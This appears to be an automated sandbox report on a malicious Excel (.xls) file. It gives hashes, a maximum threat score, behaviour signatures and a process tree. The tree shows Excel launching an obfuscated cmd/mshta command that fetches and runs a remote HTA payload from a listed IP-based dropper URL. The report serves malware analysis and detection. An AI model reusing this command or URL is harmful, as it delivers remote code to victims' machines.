Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11-11-2024 17:45

General

  • Target

    d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls

  • Size

    108KB

  • MD5

    ee8d73e733ce9e31839cc7e010293795

  • SHA1

    a6723a4d3fd7e672b520638ec98b47f483d2d235

  • SHA256

    d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8

  • SHA512

    688727b9d2a9d397025727d63cfa74f836a3e441cd93ebc1647a11a4981ebf36293d9e4774143a08ff3aac007e71232b3e831523ca81c5de35ee7871e3b2638d

  • SSDEEP

    3072:+C+nBqmxk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIFxe53lGvFTQ3IzxgdrvxpU0O:R+nBqmxk3hbdlylKsgqopeJBWhZFVE+s

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe4.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1804
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe4.html
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:1684

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1520-1-0x000000007268D000-0x0000000072698000-memory.dmp

    Filesize

    44KB

  • memory/1520-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1520-2-0x000000007268D000-0x0000000072698000-memory.dmp

    Filesize

    44KB